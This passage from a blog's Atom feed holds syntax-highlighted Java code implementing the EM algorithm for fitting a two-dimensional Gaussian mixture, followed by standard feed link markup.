/&gt;&lt;span class="lnr"&gt;113 &lt;/span&gt;    &lt;span class="Type"&gt;double&lt;/span&gt; e = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;114 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(i=&lt;span class="Number"&gt;0&lt;/span&gt;;i&amp;lt;&lt;span class="Number"&gt;2&lt;/span&gt;;i++) {&lt;br /&gt;&lt;span class="lnr"&gt;115 &lt;/span&gt;       e += (points[n][i] - m[j][i]) *&lt;br /&gt;&lt;span class="lnr"&gt;116 &lt;/span&gt;          (points[n][i] - m[j][i]);&lt;br /&gt;&lt;span class="lnr"&gt;117 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;118 &lt;/span&gt;    e /= -&lt;span class="Number"&gt;2&lt;/span&gt; * s[j][&lt;span class="Number"&gt;0&lt;/span&gt;] * s[j][&lt;span class="Number"&gt;1&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt;119 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; Math.exp(e) / (&lt;span class="Number"&gt;2&lt;/span&gt; * Math.PI * s[j][&lt;span class="Number"&gt;0&lt;/span&gt;] * s[j][&lt;span class="Number"&gt;1&lt;/span&gt;]);&lt;br /&gt;&lt;span class="lnr"&gt;120 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;121 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;122 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; P_j_x(&lt;span class="Type"&gt;int&lt;/span&gt; n, &lt;span class="Type"&gt;int&lt;/span&gt; j) {&lt;br /&gt;&lt;span class="lnr"&gt;123 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; P_x_j(n,j) * w[j] / P_x[n];&lt;br /&gt;&lt;span class="lnr"&gt;124 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;125 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;126 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; P_x() {&lt;br /&gt;&lt;span class="lnr"&gt;127 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; n,j;&lt;br /&gt;&lt;span class="lnr"&gt;128 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(n=&lt;span class="Number"&gt;0&lt;/span&gt;;n&amp;lt;N;n++) {&lt;br /&gt;&lt;span class="lnr"&gt;129 &lt;/span&gt;       &lt;span class="Type"&gt;double&lt;/span&gt; temp = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;130 &lt;/span&gt;       &lt;span class="Statement"&gt;for&lt;/span&gt;(j=&lt;span class="Number"&gt;0&lt;/span&gt;;j&amp;lt;K;j++) {&lt;br /&gt;&lt;span class="lnr"&gt;131 &lt;/span&gt;          temp += P_x_j(n,j) * w[j];&lt;br /&gt;&lt;span class="lnr"&gt;132 &lt;/span&gt;       }&lt;br /&gt;&lt;span class="lnr"&gt;133 &lt;/span&gt;       P_x[n] = temp;&lt;br /&gt;&lt;span class="lnr"&gt;134 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;135 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;136 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;137 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; P_x_j_prev(&lt;span class="Type"&gt;int&lt;/span&gt; n, &lt;span class="Type"&gt;int&lt;/span&gt; j) {&lt;br /&gt;&lt;span class="lnr"&gt;138 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; i;&lt;br /&gt;&lt;span class="lnr"&gt;139 &lt;/span&gt;    &lt;span class="Type"&gt;double&lt;/span&gt; e = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;140 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(i=&lt;span class="Number"&gt;0&lt;/span&gt;;i&amp;lt;&lt;span class="Number"&gt;2&lt;/span&gt;;i++)&lt;br /&gt;&lt;span class="lnr"&gt;141 &lt;/span&gt;       e +=(points[n][i]-m_prev[j][i]) * (points[n][i]-m_prev[j][i]);&lt;br /&gt;&lt;span class="lnr"&gt;142 &lt;/span&gt;    e /= -&lt;span class="Number"&gt;2&lt;/span&gt; * s_prev[j][&lt;span class="Number"&gt;0&lt;/span&gt;] * s_prev[j][&lt;span class="Number"&gt;1&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt;143 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; Math.exp(e)/(&lt;span class="Number"&gt;2&lt;/span&gt;*Math.PI * s_prev[j][&lt;span class="Number"&gt;0&lt;/span&gt;] * s_prev[j][&lt;span class="Number"&gt;1&lt;/span&gt;]);&lt;br /&gt;&lt;span class="lnr"&gt;144 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;145 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;146 &lt;/span&gt; &lt;span class="Comment"&gt;// Calculates p(x,y) for given point&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;147 &lt;/span&gt; &lt;span class="Comment"&gt;// p(x,y) = w1*p1(x,y) * ... * wK*pK(x,y)&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;148 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; pxy(&lt;span class="Type"&gt;double&lt;/span&gt;[] xy) {&lt;br /&gt;&lt;span class="lnr"&gt;149 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; i,j;&lt;br /&gt;&lt;span class="lnr"&gt;150 &lt;/span&gt;    &lt;span class="Type"&gt;double&lt;/span&gt; t = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;151 &lt;/span&gt;    &lt;span class="Type"&gt;double&lt;/span&gt; e = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;152 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(j=&lt;span class="Number"&gt;0&lt;/span&gt;;j&amp;lt;K;j++) {&lt;br /&gt;&lt;span class="lnr"&gt;153 &lt;/span&gt;       e = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;154 &lt;/span&gt;       &lt;span class="Comment"&gt;// exp{ -[(x-mxj )/sxj ]2/2 -[(y-myj )/syj ]2/2 }.&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;155 &lt;/span&gt;       &lt;span class="Comment"&gt;/*x*/&lt;/span&gt; e +=(xy[&lt;span class="Number"&gt;0&lt;/span&gt;]-m[j][&lt;span class="Number"&gt;0&lt;/span&gt;])*(xy[&lt;span class="Number"&gt;0&lt;/span&gt;]-m[j][&lt;span class="Number"&gt;0&lt;/span&gt;])/s[j][&lt;span class="Number"&gt;0&lt;/span&gt;]/s[j][&lt;span class="Number"&gt;0&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt;156 &lt;/span&gt;       &lt;span class="Comment"&gt;/*y*/&lt;/span&gt; e +=(xy[&lt;span class="Number"&gt;1&lt;/span&gt;]-m[j][&lt;span class="Number"&gt;1&lt;/span&gt;])*(xy[&lt;span class="Number"&gt;1&lt;/span&gt;]-m[j][&lt;span class="Number"&gt;1&lt;/span&gt;])/s[j][&lt;span class="Number"&gt;1&lt;/span&gt;]/s[j][&lt;span class="Number"&gt;1&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt;157 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;158 &lt;/span&gt;       e /= -&lt;span class="Number"&gt;2&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;159 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;160 &lt;/span&gt;       &lt;span class="Comment"&gt;// 1/(2 pi sxjsyj) * ...&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;161 &lt;/span&gt;       e = Math.exp(e) / (&lt;span class="Number"&gt;2&lt;/span&gt; * Math.PI * s[j][&lt;span class="Number"&gt;0&lt;/span&gt;] * s[j][&lt;span class="Number"&gt;1&lt;/span&gt;]);&lt;br /&gt;&lt;span class="lnr"&gt;162 &lt;/span&gt;       t += e*w[j];&lt;br /&gt;&lt;span class="lnr"&gt;163 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;164 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; t;&lt;br /&gt;&lt;span class="lnr"&gt;165 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;166 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;167 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; calcL() {&lt;br /&gt;&lt;span class="lnr"&gt;168 &lt;/span&gt;    &lt;span class="Type"&gt;double&lt;/span&gt; subres = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;169 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(&lt;span class="Type"&gt;int&lt;/span&gt; i=&lt;span class="Number"&gt;0&lt;/span&gt;; i&amp;lt;N; i++) {&lt;br /&gt;&lt;span class="lnr"&gt;170 &lt;/span&gt;       subres += -&lt;span class="Number"&gt;1.0&lt;/span&gt; * Math.log( pxy(points[i]) );&lt;br /&gt;&lt;span class="lnr"&gt;171 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;172 &lt;/span&gt;    L = subres;&lt;br /&gt;&lt;span class="lnr"&gt;173 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; L;&lt;br /&gt;&lt;span class="lnr"&gt;174 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;175 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;176 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; P_j_x_prev(&lt;span class="Type"&gt;int&lt;/span&gt; n, &lt;span class="Type"&gt;int&lt;/span&gt; j) {&lt;br /&gt;&lt;span class="lnr"&gt;177 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; P_x_j_prev(n,j) * w_prev[j] / P_x_prev[n];&lt;br /&gt;&lt;span class="lnr"&gt;178 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;179 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;180 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; P_x_prev() {&lt;br /&gt;&lt;span class="lnr"&gt;181 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; n,j;&lt;br /&gt;&lt;span class="lnr"&gt;182 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(n=&lt;span class="Number"&gt;0&lt;/span&gt;;n&amp;lt;N;n++)&lt;br /&gt;&lt;span class="lnr"&gt;183 &lt;/span&gt;    {&lt;br /&gt;&lt;span class="lnr"&gt;184 &lt;/span&gt;       &lt;span class="Type"&gt;double&lt;/span&gt; temp = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;185 &lt;/span&gt;       &lt;span class="Statement"&gt;for&lt;/span&gt;(j=&lt;span class="Number"&gt;0&lt;/span&gt;;j&amp;lt;K;j++)&lt;br /&gt;&lt;span class="lnr"&gt;186 &lt;/span&gt;          temp += P_x_j_prev(n,j) * w_prev[j];&lt;br /&gt;&lt;span class="lnr"&gt;187 &lt;/span&gt;       P_x_prev[n] = temp;&lt;br /&gt;&lt;span class="lnr"&gt;188 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;189 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;190 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;191 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; doIteration() {&lt;br /&gt;&lt;span class="lnr"&gt;192 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; i,j,n;&lt;br /&gt;&lt;span class="lnr"&gt;193 &lt;/span&gt;    calcPrev();&lt;br /&gt;&lt;span class="lnr"&gt;194 &lt;/span&gt;    P_x();&lt;br /&gt;&lt;span class="lnr"&gt;195 &lt;/span&gt;    P_x_prev();&lt;br /&gt;&lt;span class="lnr"&gt;196 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;197 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(j=&lt;span class="Number"&gt;0&lt;/span&gt;;j&amp;lt;K;j++) {&lt;br /&gt;&lt;span class="lnr"&gt;198 &lt;/span&gt;       &lt;span class="Type"&gt;double&lt;/span&gt; denom = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;199 &lt;/span&gt;       &lt;span class="Statement"&gt;for&lt;/span&gt;(n=&lt;span class="Number"&gt;0&lt;/span&gt;;n&amp;lt;N;n++) {&lt;br /&gt;&lt;span class="lnr"&gt;200 &lt;/span&gt;          denom += P_j_x_prev(n,j);&lt;br /&gt;&lt;span class="lnr"&gt;201 &lt;/span&gt;       }&lt;br /&gt;&lt;span class="lnr"&gt;202 &lt;/span&gt;       &lt;span class="Statement"&gt;for&lt;/span&gt;(i=&lt;span class="Number"&gt;0&lt;/span&gt;;i&amp;lt;&lt;span class="Number"&gt;2&lt;/span&gt;;i++)&lt;br /&gt;&lt;span class="lnr"&gt;203 &lt;/span&gt;       {&lt;br /&gt;&lt;span class="lnr"&gt;204 &lt;/span&gt;          m[j][i] = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;205 &lt;/span&gt;          &lt;span class="Statement"&gt;for&lt;/span&gt;(n=&lt;span class="Number"&gt;0&lt;/span&gt;;n&amp;lt;N;n++)&lt;br /&gt;&lt;span class="lnr"&gt;206 &lt;/span&gt;             m[j][i] += P_j_x_prev(n,j) * points[n][i];&lt;br /&gt;&lt;span class="lnr"&gt;207 &lt;/span&gt;          m[j][i] /= denom;&lt;br /&gt;&lt;span class="lnr"&gt;208 &lt;/span&gt;       }&lt;br /&gt;&lt;span class="lnr"&gt;209 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;210 &lt;/span&gt;       s[j][&lt;span class="Number"&gt;0&lt;/span&gt;] = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;211 &lt;/span&gt;       s[j][&lt;span class="Number"&gt;1&lt;/span&gt;] = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;212 &lt;/span&gt;       &lt;span class="Statement"&gt;for&lt;/span&gt;(n=&lt;span class="Number"&gt;0&lt;/span&gt;;n&amp;lt;N;n++)&lt;br /&gt;&lt;span class="lnr"&gt;213 &lt;/span&gt;       {&lt;br /&gt;&lt;span class="lnr"&gt;214 &lt;/span&gt;          &lt;span class="Type"&gt;double&lt;/span&gt; sum;&lt;br /&gt;&lt;span class="lnr"&gt;215 &lt;/span&gt;          &lt;span class="Comment"&gt;// x&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;216 &lt;/span&gt;          sum = (points[n][&lt;span class="Number"&gt;0&lt;/span&gt;]-m[j][&lt;span class="Number"&gt;0&lt;/span&gt;]) * (points[n][&lt;span class="Number"&gt;0&lt;/span&gt;]-m[j][&lt;span class="Number"&gt;0&lt;/span&gt;]);&lt;br /&gt;&lt;span class="lnr"&gt;217 &lt;/span&gt;          s[j][&lt;span class="Number"&gt;0&lt;/span&gt;] += sum * P_j_x_prev(n,j);&lt;br /&gt;&lt;span class="lnr"&gt;218 &lt;/span&gt;          &lt;span class="Comment"&gt;// y&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;219 &lt;/span&gt;          sum = (points[n][&lt;span class="Number"&gt;1&lt;/span&gt;]-m[j][&lt;span class="Number"&gt;1&lt;/span&gt;]) * (points[n][&lt;span class="Number"&gt;1&lt;/span&gt;]-m[j][&lt;span class="Number"&gt;1&lt;/span&gt;]);&lt;br /&gt;&lt;span class="lnr"&gt;220 &lt;/span&gt;          s[j][&lt;span class="Number"&gt;1&lt;/span&gt;] += sum * P_j_x_prev(n,j);&lt;br /&gt;&lt;span class="lnr"&gt;221 &lt;/span&gt;       }&lt;br /&gt;&lt;span class="lnr"&gt;222 &lt;/span&gt;       s[j][&lt;span class="Number"&gt;0&lt;/span&gt;] /= denom;&lt;br /&gt;&lt;span class="lnr"&gt;223 &lt;/span&gt;       s[j][&lt;span class="Number"&gt;1&lt;/span&gt;] /= denom;&lt;br /&gt;&lt;span class="lnr"&gt;224 &lt;/span&gt;       s[j][&lt;span class="Number"&gt;0&lt;/span&gt;] = Math.sqrt(s[j][&lt;span class="Number"&gt;0&lt;/span&gt;]);&lt;br /&gt;&lt;span class="lnr"&gt;225 &lt;/span&gt;       s[j][&lt;span class="Number"&gt;1&lt;/span&gt;] = Math.sqrt(s[j][&lt;span class="Number"&gt;1&lt;/span&gt;]);&lt;br /&gt;&lt;span class="lnr"&gt;226 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;227 &lt;/span&gt;       w[j] = denom / (&lt;span class="Type"&gt;double&lt;/span&gt;)N;&lt;br /&gt;&lt;span class="lnr"&gt;228 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;229 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;230 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;231 &lt;/span&gt; &lt;span class="StorageClass"&gt;private&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; howMuchChanged() {&lt;br /&gt;&lt;span class="lnr"&gt;232 &lt;/span&gt;    &lt;span class="Type"&gt;double&lt;/span&gt; result = &lt;span class="Number"&gt;0.0&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;233 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(&lt;span class="Type"&gt;int&lt;/span&gt; j=&lt;span class="Number"&gt;0&lt;/span&gt;; j&amp;lt;K; j++) {&lt;br /&gt;&lt;span class="lnr"&gt;234 &lt;/span&gt;       result += Math.abs(w[j] - w_prev[j]) +&lt;br /&gt;&lt;span class="lnr"&gt;235 &lt;/span&gt;          Math.abs(m[j][&lt;span class="Number"&gt;0&lt;/span&gt;] - m_prev[j][&lt;span class="Number"&gt;0&lt;/span&gt;]) +&lt;br /&gt;&lt;span class="lnr"&gt;236 &lt;/span&gt;          Math.abs(m[j][&lt;span class="Number"&gt;1&lt;/span&gt;] - m_prev[j][&lt;span class="Number"&gt;1&lt;/span&gt;]) +&lt;br /&gt;&lt;span class="lnr"&gt;237 &lt;/span&gt;          Math.abs(s[j][&lt;span class="Number"&gt;0&lt;/span&gt;] - s_prev[j][&lt;span class="Number"&gt;0&lt;/span&gt;]) +&lt;br /&gt;&lt;span class="lnr"&gt;238 &lt;/span&gt;          Math.abs(s[j][&lt;span class="Number"&gt;1&lt;/span&gt;] - s_prev[j][&lt;span class="Number"&gt;1&lt;/span&gt;]);&lt;br /&gt;&lt;span class="lnr"&gt;239 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;240 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;241 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; result;&lt;br /&gt;&lt;span class="lnr"&gt;242 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;243 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;244 &lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; printResult() {&lt;br /&gt;&lt;span class="lnr"&gt;245 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; i,j;&lt;br /&gt;&lt;span class="lnr"&gt;246 &lt;/span&gt;    System.out.println(L);&lt;br /&gt;&lt;span class="lnr"&gt;247 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(j=&lt;span class="Number"&gt;0&lt;/span&gt;;j&amp;lt;K;j++) {&lt;br /&gt;&lt;span class="lnr"&gt;248 &lt;/span&gt;       System.out.println(w[j]+&lt;span class="Constant"&gt;" "&lt;/span&gt;+m[j][&lt;span class="Number"&gt;0&lt;/span&gt;]+&lt;span class="Constant"&gt;" "&lt;/span&gt;+s[j][&lt;span class="Number"&gt;0&lt;/span&gt;]+&lt;br /&gt;&lt;span class="lnr"&gt;249 &lt;/span&gt;                                &lt;span class="Constant"&gt;" "&lt;/span&gt;+m[j][&lt;span class="Number"&gt;1&lt;/span&gt;]+&lt;span class="Constant"&gt;" "&lt;/span&gt;+s[j][&lt;span class="Number"&gt;1&lt;/span&gt;] );&lt;br /&gt;&lt;span class="lnr"&gt;250 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;251 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;252 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;253 &lt;/span&gt; &lt;span class="StorageClass"&gt;public&lt;/span&gt; &lt;span class="StorageClass"&gt;static&lt;/span&gt; &lt;span class="Type"&gt;int&lt;/span&gt; [] getIntPair(String line) {&lt;br /&gt;&lt;span class="lnr"&gt;254 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; sepIdx = line.indexOf(&lt;span class="Constant"&gt;" "&lt;/span&gt;);&lt;br /&gt;&lt;span class="lnr"&gt;255 &lt;/span&gt;    String a = line.substring(&lt;span class="Number"&gt;0&lt;/span&gt;, sepIdx);&lt;br /&gt;&lt;span class="lnr"&gt;256 &lt;/span&gt;    String b = line.substring(sepIdx+&lt;span class="Number"&gt;1&lt;/span&gt;);&lt;br /&gt;&lt;span class="lnr"&gt;257 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; [] KN = {Integer.parseInt(a), Integer.parseInt(b)};&lt;br /&gt;&lt;span class="lnr"&gt;258 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; KN;&lt;br /&gt;&lt;span class="lnr"&gt;259 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;260 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;261 &lt;/span&gt; &lt;span class="StorageClass"&gt;public&lt;/span&gt; &lt;span class="StorageClass"&gt;static&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt; [] getDoublePair(String line) {&lt;br /&gt;&lt;span class="lnr"&gt;262 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; sepIdx = line.indexOf(&lt;span class="Constant"&gt;" "&lt;/span&gt;);&lt;br /&gt;&lt;span class="lnr"&gt;263 &lt;/span&gt;    String a = line.substring(&lt;span class="Number"&gt;0&lt;/span&gt;, sepIdx);&lt;br /&gt;&lt;span class="lnr"&gt;264 &lt;/span&gt;    String b = line.substring(sepIdx+&lt;span class="Number"&gt;1&lt;/span&gt;);&lt;br /&gt;&lt;span class="lnr"&gt;265 &lt;/span&gt;    &lt;span class="Type"&gt;double&lt;/span&gt; [] XY = {Double.parseDouble(a), Double.parseDouble(b)};&lt;br /&gt;&lt;span class="lnr"&gt;266 &lt;/span&gt;    &lt;span class="Statement"&gt;return&lt;/span&gt; XY;&lt;br /&gt;&lt;span class="lnr"&gt;267 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;268 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;269 &lt;/span&gt; &lt;span class="StorageClass"&gt;public&lt;/span&gt; &lt;span class="StorageClass"&gt;static&lt;/span&gt; &lt;span class="Type"&gt;void&lt;/span&gt; main(String args[]) &lt;span class="StorageClass"&gt;throws&lt;/span&gt; Exception {&lt;br /&gt;&lt;span class="lnr"&gt;270 &lt;/span&gt;    &lt;span class="Type"&gt;double&lt;/span&gt; [][] inData;&lt;br /&gt;&lt;span class="lnr"&gt;271 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;272 &lt;/span&gt;    BufferedReader input = &lt;span class="Statement"&gt;new&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;273 &lt;/span&gt;              BufferedReader(&lt;span class="Statement"&gt;new&lt;/span&gt; InputStreamReader(System.in));&lt;br /&gt;&lt;span class="lnr"&gt;274 &lt;/span&gt;    String line = input.readLine();&lt;br /&gt;&lt;span class="lnr"&gt;275 &lt;/span&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (line == &lt;span class="Constant"&gt;null&lt;/span&gt;)&lt;br /&gt;&lt;span class="lnr"&gt;276 &lt;/span&gt;       &lt;span class="Statement"&gt;return&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;277 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;278 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; [] KN = getIntPair(line);&lt;br /&gt;&lt;span class="lnr"&gt;279 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;280 &lt;/span&gt;    &lt;span class="Comment"&gt;// Read (x,y) pairs           &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;281 &lt;/span&gt;    inData = &lt;span class="Statement"&gt;new&lt;/span&gt; &lt;span class="Type"&gt;double&lt;/span&gt;[KN[&lt;span class="Number"&gt;1&lt;/span&gt;]][&lt;span class="Number"&gt;2&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt;282 &lt;/span&gt;    &lt;span class="Statement"&gt;for&lt;/span&gt;(&lt;span class="Type"&gt;int&lt;/span&gt; i=&lt;span class="Number"&gt;0&lt;/span&gt;; i&amp;lt; KN[&lt;span class="Number"&gt;1&lt;/span&gt;]; i++) {&lt;br /&gt;&lt;span class="lnr"&gt;283 &lt;/span&gt;       line = input.readLine();&lt;br /&gt;&lt;span class="lnr"&gt;284 &lt;/span&gt;       &lt;span class="Type"&gt;double&lt;/span&gt; [] XY = getDoublePair(line);&lt;br /&gt;&lt;span class="lnr"&gt;285 &lt;/span&gt;       inData[i][&lt;span class="Number"&gt;0&lt;/span&gt;] = XY[&lt;span class="Number"&gt;0&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt;286 &lt;/span&gt;       inData[i][&lt;span class="Number"&gt;1&lt;/span&gt;] = XY[&lt;span class="Number"&gt;1&lt;/span&gt;];&lt;br /&gt;&lt;span class="lnr"&gt;287 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;288 &lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;289 &lt;/span&gt;    EM em = &lt;span class="Statement"&gt;new&lt;/span&gt; EM(inData, KN[&lt;span class="Number"&gt;0&lt;/span&gt;]);&lt;br /&gt;&lt;span class="lnr"&gt;290 &lt;/span&gt;    &lt;span class="Type"&gt;int&lt;/span&gt; its=&lt;span class="Number"&gt;100000000&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;291 &lt;/span&gt;    &lt;span class="Statement"&gt;while&lt;/span&gt;(its-- &amp;gt; &lt;span class="Number"&gt;0&lt;/span&gt;) {&lt;br /&gt;&lt;span class="lnr"&gt;292 &lt;/span&gt;       em.doIteration();&lt;br /&gt;&lt;span class="lnr"&gt;293 &lt;/span&gt;       &lt;span class="Comment"&gt;// Stop when covergence&lt;/span&gt;&lt;br /&gt;&lt;span class="lnr"&gt;294 &lt;/span&gt;       &lt;span class="Statement"&gt;if&lt;/span&gt;(em.howMuchChanged() &amp;lt; &lt;span class="Number"&gt;0.00000001&lt;/span&gt;)&lt;br /&gt;&lt;span class="lnr"&gt;295 &lt;/span&gt;          &lt;span class="Statement"&gt;break&lt;/span&gt;;&lt;br /&gt;&lt;span class="lnr"&gt;296 &lt;/span&gt;    }&lt;br /&gt;&lt;span class="lnr"&gt;297 &lt;/span&gt;    em.calcL();&lt;br /&gt;&lt;span class="lnr"&gt;298 &lt;/span&gt;    em.printResult();&lt;br /&gt;&lt;span class="lnr"&gt;299 &lt;/span&gt; }&lt;br /&gt;&lt;span class="lnr"&gt;300 &lt;/span&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2289497912865198302-1567512533309402380?l=emg-2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://emg-2.blogspot.com/feeds/1567512533309402380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2289497912865198302&amp;postID=1567512533309402380' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/1567512533309402380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2289497912865198302/posts/default/1567512533309402380'/><link 